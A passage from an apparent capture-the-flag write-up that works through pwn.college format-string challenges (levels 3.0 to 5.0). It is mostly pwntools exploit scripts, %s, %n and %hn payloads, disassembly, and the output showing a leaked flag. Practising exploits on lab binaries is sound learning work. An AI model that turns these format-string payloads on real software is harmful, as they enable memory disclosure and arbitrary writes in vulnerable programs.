<span id="cb7-6"><a href="#cb7-6" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> <span class="st">b&#39;AAAAAAAA&#39;</span> <span class="op">+</span> <span class="st">&quot;&quot;</span>.join(<span class="ss">f&quot;.</span><span class="sc">{</span>i<span class="sc">}</span><span class="ss">=%</span><span class="sc">{</span>i<span class="sc">}</span><span class="ss">$lx&quot;</span> <span class="cf">for</span> i <span class="kw">in</span> <span class="bu">range</span>(<span class="dv">15</span>, <span class="dv">35</span>)).encode()</span>
<span id="cb7-7"><a href="#cb7-7" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb7-8"><a href="#cb7-8" aria-hidden="true" tabindex="-1"></a>p.send(payload)</span>
<span id="cb7-9"><a href="#cb7-9" aria-hidden="true" tabindex="-1"></a><span class="bu">print</span>(p.recvall())</span></code></pre></div>
<pre><code>Send your data!\nReceived 208 bytes!\n\nI will now call printf on your data!\n\nAAAAAAAA.15=0.16=0.17=0.18=d000000000.19=0.20=0.21=0.22=0.23=0.24=0.25=0.26=4141414100000000.27=3d35312e41414141.28=312e786c24353125.29=786c243631253d36.30=243731253d37312e.31=31253d38312e786c.32=3d39312e786c2438.33=322e786c24393125.34=786c243032253d30\n### Goodbye!\n&quot;</code></pre>
<p>looks like we are starting 4 bytes offset/misaligned (on top of our already exising 8) for whatever reason</p>
<p>tried this payload to see if we can get a clean offset/slot:</p>
<div class="sourceCode" id="cb9"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb9-1"><a href="#cb9-1" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> <span class="st">b&#39;AAAAAAAA&#39;</span> <span class="op">+</span> <span class="st">b&#39;BBBB&#39;</span> <span class="op">+</span> <span class="st">&quot;&quot;</span>.join(<span class="ss">f&quot;.</span><span class="sc">{</span>i<span class="sc">}</span><span class="ss">=%</span><span class="sc">{</span>i<span class="sc">}</span><span class="ss">$lx&quot;</span> <span class="cf">for</span> i <span class="kw">in</span> <span class="bu">range</span>(<span class="dv">15</span>, <span class="dv">35</span>)).encode()</span></code></pre></div>
<div class="sourceCode" id="cb10"><pre class="sourceCode bash"><code class="sourceCode bash"><span id="cb10-1"><a href="#cb10-1" aria-hidden="true" tabindex="-1"></a><span class="ex">hacker@format-string-exploits~level3-0:~$</span> /run/dojo/bin/python /home/hacker/solve.py</span>
<span id="cb10-2"><a href="#cb10-2" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> Starting local process <span class="st">&#39;/challenge/babyfmt_level3.0&#39;</span>: pid 868</span>
<span id="cb10-3"><a href="#cb10-3" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> Receiving all data: Done <span class="er">(</span><span class="ex">329B</span><span class="kw">)</span></span>
<span id="cb10-4"><a href="#cb10-4" aria-hidden="true" tabindex="-1"></a><span class="ex">[*]</span> Process <span class="st">&#39;/challenge/babyfmt_level3.0&#39;</span> stopped with exit code 0 <span class="er">(</span><span class="ex">pid</span> 868<span class="kw">)</span></span>
<span id="cb10-5"><a href="#cb10-5" aria-hidden="true" tabindex="-1"></a><span class="ex">b</span><span class="st">&#39;Received 212 bytes!\n\nI will now call printf on your data!\n\nAAAAAAAABBBB.15=0.16=0.17=0.18=d400000000.19=0.20=0.21=0.22=0.23=0.24=0.25=0.26=4141414100000000.27=4242424241414141.28=243531253d35312e.29=31253d36312e786c.30=3d37312e786c2436.31=312e786c24373125.32=786c243831253d38.33=243931253d39312e.34=32253d30322e786c\n### Goodbye!\n&#39;</span></span></code></pre></div>
<p>try dereferencing address:</p>
<div class="sourceCode" id="cb11"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb11-1"><a href="#cb11-1" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> <span class="st">b&#39;%28$s&#39;</span>.ljust(<span class="dv">12</span>, <span class="st">b&#39;A&#39;</span>) <span class="op">+</span> bss   <span class="co"># final payload -_-</span></span></code></pre></div>
<div class="sourceCode" id="cb12"><pre class="sourceCode bash"><code class="sourceCode bash"><span id="cb12-1"><a href="#cb12-1" aria-hidden="true" tabindex="-1"></a><span class="ex">hacker@format-string-exploits~level3-0:~$</span> /run/dojo/bin/python /home/hacker/solve.py</span>
<span id="cb12-2"><a href="#cb12-2" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> Starting local process <span class="st">&#39;/challenge/babyfmt_level3.0&#39;</span>: pid 1389</span>
<span id="cb12-3"><a href="#cb12-3" aria-hidden="true" tabindex="-1"></a><span class="ex">[+]</span> Receiving all data: Done <span class="er">(</span><span class="ex">140B</span><span class="kw">)</span></span>
<span id="cb12-4"><a href="#cb12-4" aria-hidden="true" tabindex="-1"></a><span class="ex">[*]</span> Process <span class="st">&#39;/challenge/babyfmt_level3.0&#39;</span> stopped with exit code 0 <span class="er">(</span><span class="ex">pid</span> 1389<span class="kw">)</span></span>
<span id="cb12-5"><a href="#cb12-5" aria-hidden="true" tabindex="-1"></a><span class="ex">b</span><span class="st">&#39;Received 20 bytes!\n\nI will now call printf on your data!\n\npwn.college{45tESBTnEyp_Lui6R4WzGhJlTvw.dBjM0MDL3UzM1YzW}\nAAAAAAA@A@\n### Goodbye!\n&#39;</span></span></code></pre></div>
<h2 id="level-31"><a href="#level-31" class="anchor">#</a>level 3.1</h2>
<h3 id="challenge-info"><a href="#challenge-info" class="anchor">#</a>challenge info</h3>
<p>same thing as 3.0, only difference is we are <strong>NOT</strong> given the <code>flag</code> address, so we have to figure that out on our own</p>
<h3 id="static-analysis-via-ida-pro"><a href="#static-analysis-via-ida-pro" class="anchor">#</a>static analysis via ida pro</h3>
<p>pseudocode for <code>func</code>:<br />
<img src="/images/pwncollege-formatstring/clipboard-20261031T015117.png" /><br />
this particular snippet gives away the address of the flag (comments are mine):</p>
<div class="sourceCode" id="cb13"><pre class="sourceCode c"><code class="sourceCode c"><span id="cb13-1"><a href="#cb13-1" aria-hidden="true" tabindex="-1"></a>v1 <span class="op">=</span> open<span class="op">(</span><span class="st">&quot;/flag&quot;</span><span class="op">,</span> <span class="dv">0</span><span class="op">);</span>        <span class="co">// open /flag, store the file descriptor in v1</span></span>
<span id="cb13-2"><a href="#cb13-2" aria-hidden="true" tabindex="-1"></a>read<span class="op">(</span>v1<span class="op">,</span> <span class="op">&amp;</span>unk_404110<span class="op">,</span> <span class="bn">0x80</span><span class="bu">u</span><span class="op">);</span> <span class="co">// copy up to 128 bytes FROM the file (v1) INTO memory at 0x404110</span></span></code></pre></div>
<h3 id="solve-1"><a href="#solve-1" class="anchor">#</a>solve</h3>
<p>try to get a clean offset/slot:</p>
<div class="sourceCode" id="cb14"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb14-1"><a href="#cb14-1" aria-hidden="true" tabindex="-1"></a><span class="im">from</span> pwn <span class="im">import</span> <span class="op">*</span></span>
<span id="cb14-2"><a href="#cb14-2" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-3"><a href="#cb14-3" aria-hidden="true" tabindex="-1"></a>context.arch <span class="op">=</span> <span class="st">&#39;amd64&#39;</span></span>
<span id="cb14-4"><a href="#cb14-4" aria-hidden="true" tabindex="-1"></a>bss <span class="op">=</span> p64(<span class="bn">0x404110</span>)</span>
<span id="cb14-5"><a href="#cb14-5" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-6"><a href="#cb14-6" aria-hidden="true" tabindex="-1"></a>p <span class="op">=</span> process(<span class="st">&#39;/challenge/babyfmt_level3.1&#39;</span>)</span>
<span id="cb14-7"><a href="#cb14-7" aria-hidden="true" tabindex="-1"></a>p.recvuntil(<span class="st">b&#39;Send your data!</span><span class="ch">\n</span><span class="st">&#39;</span>)</span>
<span id="cb14-8"><a href="#cb14-8" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-9"><a href="#cb14-9" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> <span class="st">b&#39;A&#39;</span> <span class="op">*</span> <span class="dv">8</span> <span class="op">+</span> <span class="st">&quot;&quot;</span>.join(<span class="ss">f&quot;.</span><span class="sc">{</span>i<span class="sc">}</span><span class="ss">=%</span><span class="sc">{</span>i<span class="sc">}</span><span class="ss">$lx&quot;</span> <span class="cf">for</span> i <span class="kw">in</span> <span class="bu">range</span>(<span class="dv">15</span>, <span class="dv">35</span>)).encode()</span>
<span id="cb14-10"><a href="#cb14-10" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb14-11"><a href="#cb14-11" aria-hidden="true" tabindex="-1"></a>p.send(payload)</span>
<span id="cb14-12"><a href="#cb14-12" aria-hidden="true" tabindex="-1"></a><span class="bu">print</span>(p.recvall())</span></code></pre></div>
<p><img src="/images/pwncollege-formatstring/clipboard-20261031T030256.png" /></p>
<p>i kept on playing/tweaking the amount of bytes until I finally got a clean slot, keep in mind that this method is good for getting a ballpark estimate of which slot to shoot for, but it won't be exact:</p>
<div class="sourceCode" id="cb15"><pre class="sourceCode c"><code class="sourceCode c"><span id="cb15-1"><a href="#cb15-1" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> b<span class="ch">&#39;A&#39;</span> <span class="op">*</span> <span class="dv">11</span> <span class="op">+</span> <span class="st">&quot;&quot;</span><span class="op">.</span>join<span class="op">(</span>f<span class="st">&quot;.{i}=%{i}$lx&quot;</span> <span class="cf">for</span> i in range<span class="op">(</span><span class="dv">15</span><span class="op">,</span> <span class="dv">35</span><span class="op">)).</span>encode<span class="op">()</span></span></code></pre></div>
<p><img src="/images/pwncollege-formatstring/clipboard-20261031T030938.png" /></p>
<p>then i made a pseudo-payload to see if I could find the real slot, which I know has to be around 22:</p>
<div class="sourceCode" id="cb16"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb16-1"><a href="#cb16-1" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> <span class="st">b&#39;%22$lx&#39;</span>.ljust(<span class="dv">11</span>, <span class="st">b&#39;A&#39;</span>) <span class="op">+</span> bss</span></code></pre></div>
<p><img src="/images/pwncollege-formatstring/clipboard-20261031T031930.png" /><br />
still not seeing the address i'm trying to dereference though...</p>
<div class="sourceCode" id="cb17"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb17-1"><a href="#cb17-1" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> <span class="st">b&#39;%23$lx&#39;</span>.ljust(<span class="dv">11</span>, <span class="st">b&#39;A&#39;</span>) <span class="op">+</span> bss</span></code></pre></div>
<p><img src="/images/pwncollege-formatstring/clipboard-20261031T032129.png" /></p>
<p>BANG! now just dereference the address (change format specifier to %s):</p>
<div class="sourceCode" id="cb18"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb18-1"><a href="#cb18-1" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> <span class="st">b&#39;%23$s&#39;</span>.ljust(<span class="dv">11</span>, <span class="st">b&#39;A&#39;</span>) <span class="op">+</span> bss   <span class="co"># final payload -_-</span></span></code></pre></div>
<p><img src="/images/pwncollege-formatstring/clipboard-20261031T015701.png" /></p>
<h2 id="level-40"><a href="#level-40" class="anchor">#</a>level 4.0</h2>
<p>okay this time the objective is to use a format string exploit to <em>SET</em> a global variable</p>
<pre><code>$ ./babyfmt_level4.0
###
### Welcome to ./babyfmt_level4.0!
###

This challenge reads in some bytes, calls printf on that string, and allows you to perform
a format string attack. Through this series of challenges, you will become painfully familiar
with the concept of Format String Attacks!

This challenge allows you to make a 256-sized format string.

This challenge requires you to set a win value, located in the .bss, to 0xb8. If you successfully
pull that off, the challenge will give you the flag! You will need to use %n to set this value

The win value in the .bss is located at 0x404150! Remember to write this in little endian in your format string.
Remember, you can swap %n with %lx to see what address you will be writing into to make sure you have the.correct offset.

I will now read up to 256 bytes. Send your data!</code></pre>
<h3 id="finding-correct-padding--slot"><a href="#finding-correct-padding--slot" class="anchor">#</a>finding correct padding + slot</h3>
<p>started off with just 8 'A's, kept playing/messing with it, until eventually I landed on this:</p>
<div class="sourceCode" id="cb20"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb20-1"><a href="#cb20-1" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> <span class="st">b&#39;A&#39;</span><span class="op">*</span> <span class="dv">5</span></span>
<span id="cb20-2"><a href="#cb20-2" aria-hidden="true" tabindex="-1"></a>payload <span class="op">+=</span> <span class="st">b&#39;B&#39;</span><span class="op">*</span> <span class="dv">8</span></span>
<span id="cb20-3"><a href="#cb20-3" aria-hidden="true" tabindex="-1"></a>payload <span class="op">+=</span> <span class="st">b&#39;&#39;</span>.join(<span class="ss">f&#39;.</span><span class="sc">{</span>i<span class="sc">}</span><span class="ss">=%</span><span class="sc">{</span>i<span class="sc">}</span><span class="ss">$lx&#39;</span>.encode() <span class="cf">for</span> i <span class="kw">in</span> <span class="bu">range</span>(<span class="dv">12</span>, <span class="dv">40</span>))</span></code></pre></div>
<p><img src="/images/pwncollege-formatstring/clipboard-20261031T154702.png" /></p>
<h3 id="n-gimmick"><a href="#n-gimmick" class="anchor">#</a>%n gimmick</h3>
<p>so now all i've gotta do is write the value <code>0xb8</code> into the variable stored at <code>0x404150</code> (using %n). remember, unlike <code>%x</code> or <code>%p</code>, <code>%n</code> just writes the number of characters printed <em>so far</em> into an integer variable</p>
<p>the problem? we can't just do something like</p>
<div class="sourceCode" id="cb21"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb21-1"><a href="#cb21-1" aria-hidden="true" tabindex="-1"></a>target <span class="op">=</span> <span class="st">b&#39;0xb8&#39;</span></span></code></pre></div>
<p>because %n doesn't write whatever we want, it just writes the amount of characters printed. so the work around is to send 0xb8 in decimal form (which is just 184)</p>
<h3 id="solve-2"><a href="#solve-2" class="anchor">#</a>solve</h3>
<div class="sourceCode" id="cb22"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb22-1"><a href="#cb22-1" aria-hidden="true" tabindex="-1"></a>spec <span class="op">=</span> <span class="st">b&#39;%184c%32$n&#39;</span></span>
<span id="cb22-2"><a href="#cb22-2" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> spec.ljust(<span class="dv">13</span>, <span class="st">b&#39;A&#39;</span>) <span class="op">+</span> p64(<span class="bn">0x404150</span>)</span></code></pre></div>
<h2 id="level-41"><a href="#level-41" class="anchor">#</a>level 4.1</h2>
<h3 id="check_win"><a href="#check_win" class="anchor">#</a>check_win</h3>
<div class="sourceCode" id="cb23"><pre class="sourceCode nasm"><code class="sourceCode nasm"><span id="cb23-1"><a href="#cb23-1" aria-hidden="true" tabindex="-1"></a>pwndbg<span class="op">&gt;</span> disass check_win</span>
<span id="cb23-2"><a href="#cb23-2" aria-hidden="true" tabindex="-1"></a>Dump of assembler code for function check_win<span class="op">:</span></span>
<span id="cb23-3"><a href="#cb23-3" aria-hidden="true" tabindex="-1"></a>   0x00000000004012dd &lt;+0&gt;:     <span class="kw">endbr64</span></span>
<span id="cb23-4"><a href="#cb23-4" aria-hidden="true" tabindex="-1"></a>   0x00000000004012e1 &lt;+4&gt;:     <span class="kw">push</span>   <span class="kw">rbp</span></span>
<span id="cb23-5"><a href="#cb23-5" aria-hidden="true" tabindex="-1"></a>   0x00000000004012e2 &lt;+5&gt;:     <span class="kw">mov</span>    <span class="kw">rbp</span><span class="op">,</span><span class="kw">rsp</span></span>
<span id="cb23-6"><a href="#cb23-6" aria-hidden="true" tabindex="-1"></a>   0x00000000004012e5 &lt;+8&gt;:     <span class="kw">sub</span>    <span class="kw">rsp</span><span class="op">,</span><span class="bn">0x10</span></span>
<span id="cb23-7"><a href="#cb23-7" aria-hidden="true" tabindex="-1"></a>   0x00000000004012e9 &lt;+12&gt;:    <span class="kw">mov</span>    <span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rbp</span><span class="op">-</span><span class="bn">0x8</span><span class="op">],</span><span class="kw">rdi</span></span>
<span id="cb23-8"><a href="#cb23-8" aria-hidden="true" tabindex="-1"></a>   0x00000000004012ed &lt;+16&gt;:    <span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd14</span><span class="op">]</span>        # <span class="bn">0x402008</span></span>
<span id="cb23-9"><a href="#cb23-9" aria-hidden="true" tabindex="-1"></a>   0x00000000004012f4 &lt;+23&gt;:    <span class="cf">call</span>   <span class="bn">0x401100</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb23-10"><a href="#cb23-10" aria-hidden="true" tabindex="-1"></a>   0x00000000004012f9 &lt;+28&gt;:    <span class="kw">mov</span>    <span class="kw">esi</span><span class="op">,</span><span class="bn">0xad</span></span>
<span id="cb23-11"><a href="#cb23-11" aria-hidden="true" tabindex="-1"></a>   0x00000000004012fe &lt;+33&gt;:    <span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd19</span><span class="op">]</span>        # <span class="bn">0x40201e</span></span>
<span id="cb23-12"><a href="#cb23-12" aria-hidden="true" tabindex="-1"></a>   0x0000000000401305 &lt;+40&gt;:    <span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb23-13"><a href="#cb23-13" aria-hidden="true" tabindex="-1"></a>   0x000000000040130a &lt;+45&gt;:    <span class="cf">call</span>   <span class="bn">0x401130</span> <span class="op">&lt;</span>printf@plt<span class="op">&gt;</span></span>
<span id="cb23-14"><a href="#cb23-14" aria-hidden="true" tabindex="-1"></a>   0x000000000040130f &lt;+50&gt;:    <span class="kw">mov</span>    <span class="kw">rax</span><span class="op">,</span><span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0x2e1a</span><span class="op">]</span>        # <span class="bn">0x404130</span> <span class="op">&lt;</span><span class="kw">global</span><span class="op">+</span><span class="dv">80</span><span class="op">&gt;</span></span>
<span id="cb23-15"><a href="#cb23-15" aria-hidden="true" tabindex="-1"></a>   0x0000000000401316 &lt;+57&gt;:    <span class="kw">mov</span>    <span class="kw">rsi</span><span class="op">,</span><span class="kw">rax</span></span>
<span id="cb23-16"><a href="#cb23-16" aria-hidden="true" tabindex="-1"></a>   0x0000000000401319 &lt;+60&gt;:    <span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd1b</span><span class="op">]</span>        # <span class="bn">0x40203b</span></span>
<span id="cb23-17"><a href="#cb23-17" aria-hidden="true" tabindex="-1"></a>   0x0000000000401320 &lt;+67&gt;:    <span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb23-18"><a href="#cb23-18" aria-hidden="true" tabindex="-1"></a>   0x0000000000401325 &lt;+72&gt;:    <span class="cf">call</span>   <span class="bn">0x401130</span> <span class="op">&lt;</span>printf@plt<span class="op">&gt;</span></span>
<span id="cb23-19"><a href="#cb23-19" aria-hidden="true" tabindex="-1"></a>   0x000000000040132a &lt;+77&gt;:    <span class="kw">mov</span>    <span class="kw">rax</span><span class="op">,</span><span class="dt">QWORD</span> <span class="dt">PTR</span> <span class="op">[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0x2dff</span><span class="op">]</span>        # <span class="bn">0x404130</span> <span class="op">&lt;</span><span class="kw">global</span><span class="op">+</span><span class="dv">80</span><span class="op">&gt;</span></span>
<span id="cb23-20"><a href="#cb23-20" aria-hidden="true" tabindex="-1"></a>   0x0000000000401331 &lt;+84&gt;:    <span class="kw">cmp</span>    <span class="kw">rax</span><span class="op">,</span><span class="bn">0xad</span></span>
<span id="cb23-21"><a href="#cb23-21" aria-hidden="true" tabindex="-1"></a>   0x0000000000401337 &lt;+90&gt;:    <span class="cf">jne</span>    <span class="bn">0x401373</span> <span class="op">&lt;</span>check_win<span class="op">+</span><span class="dv">150</span><span class="op">&gt;</span></span>
<span id="cb23-22"><a href="#cb23-22" aria-hidden="true" tabindex="-1"></a>   0x0000000000401339 &lt;+92&gt;:    <span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd18</span><span class="op">]</span>        # <span class="bn">0x402058</span></span>
<span id="cb23-23"><a href="#cb23-23" aria-hidden="true" tabindex="-1"></a>   0x0000000000401340 &lt;+99&gt;:    <span class="cf">call</span>   <span class="bn">0x401100</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb23-24"><a href="#cb23-24" aria-hidden="true" tabindex="-1"></a>   0x0000000000401345 &lt;+104&gt;:   <span class="kw">mov</span>    <span class="kw">esi</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb23-25"><a href="#cb23-25" aria-hidden="true" tabindex="-1"></a>   0x000000000040134a &lt;+109&gt;:   <span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd27</span><span class="op">]</span>        # <span class="bn">0x402078</span></span>
<span id="cb23-26"><a href="#cb23-26" aria-hidden="true" tabindex="-1"></a>   0x0000000000401351 &lt;+116&gt;:   <span class="kw">mov</span>    <span class="kw">eax</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb23-27"><a href="#cb23-27" aria-hidden="true" tabindex="-1"></a>   0x0000000000401356 &lt;+121&gt;:   <span class="cf">call</span>   <span class="bn">0x4011a0</span> <span class="op">&lt;</span>open@plt<span class="op">&gt;</span></span>
<span id="cb23-28"><a href="#cb23-28" aria-hidden="true" tabindex="-1"></a>   0x000000000040135b &lt;+126&gt;:   <span class="kw">mov</span>    <span class="kw">ecx</span><span class="op">,</span><span class="bn">0x80</span></span>
<span id="cb23-29"><a href="#cb23-29" aria-hidden="true" tabindex="-1"></a>   0x0000000000401360 &lt;+131&gt;:   <span class="kw">mov</span>    <span class="kw">edx</span><span class="op">,</span><span class="bn">0x0</span></span>
<span id="cb23-30"><a href="#cb23-30" aria-hidden="true" tabindex="-1"></a>   0x0000000000401365 &lt;+136&gt;:   <span class="kw">mov</span>    <span class="kw">esi</span><span class="op">,</span><span class="kw">eax</span></span>
<span id="cb23-31"><a href="#cb23-31" aria-hidden="true" tabindex="-1"></a>   0x0000000000401367 &lt;+138&gt;:   <span class="kw">mov</span>    <span class="kw">edi</span><span class="op">,</span><span class="bn">0x1</span></span>
<span id="cb23-32"><a href="#cb23-32" aria-hidden="true" tabindex="-1"></a>   0x000000000040136c &lt;+143&gt;:   <span class="cf">call</span>   <span class="bn">0x401180</span> <span class="op">&lt;</span>sendfile@plt<span class="op">&gt;</span></span>
<span id="cb23-33"><a href="#cb23-33" aria-hidden="true" tabindex="-1"></a>   0x0000000000401371 &lt;+148&gt;:   <span class="cf">jmp</span>    <span class="bn">0x40137f</span> <span class="op">&lt;</span>check_win<span class="op">+</span><span class="dv">162</span><span class="op">&gt;</span></span>
<span id="cb23-34"><a href="#cb23-34" aria-hidden="true" tabindex="-1"></a>   0x0000000000401373 &lt;+150&gt;:   <span class="kw">lea</span>    <span class="kw">rdi</span><span class="op">,[</span><span class="kw">rip</span><span class="op">+</span><span class="bn">0xd04</span><span class="op">]</span>        # <span class="bn">0x40207e</span></span>
<span id="cb23-35"><a href="#cb23-35" aria-hidden="true" tabindex="-1"></a>   0x000000000040137a &lt;+157&gt;:   <span class="cf">call</span>   <span class="bn">0x401100</span> <span class="op">&lt;</span>puts@plt<span class="op">&gt;</span></span>
<span id="cb23-36"><a href="#cb23-36" aria-hidden="true" tabindex="-1"></a>   0x000000000040137f &lt;+162&gt;:   <span class="kw">nop</span></span>
<span id="cb23-37"><a href="#cb23-37" aria-hidden="true" tabindex="-1"></a>   0x0000000000401380 &lt;+163&gt;:   <span class="kw">leave</span></span>
<span id="cb23-38"><a href="#cb23-38" aria-hidden="true" tabindex="-1"></a>   0x0000000000401381 &lt;+164&gt;:   <span class="cf">ret</span></span>
<span id="cb23-39"><a href="#cb23-39" aria-hidden="true" tabindex="-1"></a>End of assembler dump<span class="op">.</span></span></code></pre></div>
<p>addr we want is <code>0x404130</code>, value we want is <code>0xad</code>, which in decimal is 173</p>
<h3 id="finding-clean-slot"><a href="#finding-clean-slot" class="anchor">#</a>finding clean slot</h3>
<div class="sourceCode" id="cb24"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb24-1"><a href="#cb24-1" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> <span class="st">b&#39;A&#39;</span><span class="op">*</span> <span class="dv">8</span></span>
<span id="cb24-2"><a href="#cb24-2" aria-hidden="true" tabindex="-1"></a>payload <span class="op">+=</span> <span class="st">b&#39;&#39;</span>.join(<span class="ss">f&#39;.</span><span class="sc">{</span>i<span class="sc">}</span><span class="ss">=%</span><span class="sc">{</span>i<span class="sc">}</span><span class="ss">$lx&#39;</span>.encode() <span class="cf">for</span> i <span class="kw">in</span> <span class="bu">range</span>(<span class="dv">12</span>, <span class="dv">40</span>))</span></code></pre></div>
<p>returns:</p>
<div class="sourceCode" id="cb25"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb25-1"><a href="#cb25-1" aria-hidden="true" tabindex="-1"></a><span class="st">b&quot;Received 256 bytes!</span><span class="ch">\n\n</span><span class="st">I will now call printf on your data!</span><span class="ch">\n\n</span><span class="st">AAAAAAAA.12=0.13=0.14=0.15=0.16=10000000000.17=0.18=4141414141414141.19=243231253d32312e.20=31253d33312e786c.21=3d34312e786c2433.22=312e786c24343125.23=786c243531253d35.24=243631253d36312e.25=31253d37312e786c.26=3d38312e786c2437.27=312e786c24383125.28=786c243931253d39.29=243032253d30322e.30=32253d31322e786c.31=3d32322e786c2431.32=322e786c24323225.33=786c243332253d33.34=243432253d34322e.35=32253d35322e786c.36=%</span><span class="ch">\n</span><span class="st">And now, let&#39;s check the win value!</span><span class="ch">\n</span><span class="st">Checking win value...</span><span class="ch">\n</span><span class="st">... desired win value: 0xad</span><span class="ch">\n</span><span class="st">... written win value: 0</span><span class="ch">\n</span><span class="st">... INCORRECT!</span><span class="ch">\n</span><span class="st">### Goodbye!</span><span class="ch">\n</span><span class="st">&quot;</span></span></code></pre></div>
<p>so 8 bytes should be enough padding then, right? clearly 18 is filled, and 19 would be the "clean" slot. however, there is one caveat:</p>
<p>because the payload we are sending will be more than 8 bytes by default, we can't do 8 bytes of padding. however, our payload will obviously be less than 16, so we can just do 16 bytes of padding. if this doesn't make sense get a grip</p>
<h3 id="solve-3"><a href="#solve-3" class="anchor">#</a>solve</h3>
<div class="sourceCode" id="cb26"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb26-1"><a href="#cb26-1" aria-hidden="true" tabindex="-1"></a>spec <span class="op">=</span> <span class="st">b&#39;%173c%19$n&#39;</span></span>
<span id="cb26-2"><a href="#cb26-2" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> spec.ljust(<span class="dv">16</span>, <span class="st">b&#39;A&#39;</span>) <span class="op">+</span> p64(<span class="bn">0x404130</span>)</span></code></pre></div>
<h2 id="level-50"><a href="#level-50" class="anchor">#</a>level 5.0</h2>
<h3 id="challenge-info-1"><a href="#challenge-info-1" class="anchor">#</a>challenge info</h3>
<pre><code>###
### Welcome to ./babyfmt_level5.0!
###

This challenge reads in some bytes, calls printf on that string, and allows you to perform
a format string attack. Through this series of challenges, you will become painfully familiar
with the concept of Format String Attacks!

This challenge allows you to make a 256-sized format string.

This challenge requires you to set a win value, located in the .bss, to 0xf6943a3523fd282c. If you successfully
pull that off, the challenge will give you the flag! You will need to use %n to set this value
Moreover, since the win value is so large, you will need to use several %hn writes rather than an %ln.

The win value in the .bss is located at 0x404160! Remember to write this in little endian in your format string.
Remember, you can swap %n with %lx to see what address you will be writing into to make sure you have the.correct offset.

I will now read up to 256 bytes. Send your data!</code></pre>
<p>one important thing to note is that i'm going to have to send the "chunks" in ascending order, since of course the <code>%n</code> counter can only tally <em>up</em></p>
<h3 id="fails"><a href="#fails" class="anchor">#</a>fails</h3>
<p>tried using pwntools built in function:</p>
<div class="sourceCode" id="cb28"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb28-1"><a href="#cb28-1" aria-hidden="true" tabindex="-1"></a><span class="im">from</span> pwn <span class="im">import</span> <span class="op">*</span></span>
<span id="cb28-2"><a href="#cb28-2" aria-hidden="true" tabindex="-1"></a>context.arch <span class="op">=</span> <span class="st">&#39;amd64&#39;</span></span>
<span id="cb28-3"><a href="#cb28-3" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb28-4"><a href="#cb28-4" aria-hidden="true" tabindex="-1"></a>p <span class="op">=</span> process(<span class="st">&#39;/challenge/babyfmt_level5.0&#39;</span>)</span>
<span id="cb28-5"><a href="#cb28-5" aria-hidden="true" tabindex="-1"></a>p.recvuntil(<span class="st">b&#39;Send your data!</span><span class="ch">\n</span><span class="st">&#39;</span>)</span>
<span id="cb28-6"><a href="#cb28-6" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb28-7"><a href="#cb28-7" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> fmtstr_payload(</span>
<span id="cb28-8"><a href="#cb28-8" aria-hidden="true" tabindex="-1"></a>    offset<span class="op">=</span><span class="dv">14</span>,</span>
<span id="cb28-9"><a href="#cb28-9" aria-hidden="true" tabindex="-1"></a>    writes<span class="op">=</span>{<span class="bn">0x404160</span>: <span class="bn">0xf6943a3523fd282c</span>},</span>
<span id="cb28-10"><a href="#cb28-10" aria-hidden="true" tabindex="-1"></a>    write_size<span class="op">=</span><span class="st">&#39;short&#39;</span></span>
<span id="cb28-11"><a href="#cb28-11" aria-hidden="true" tabindex="-1"></a>)</span>
<span id="cb28-12"><a href="#cb28-12" aria-hidden="true" tabindex="-1"></a></span>
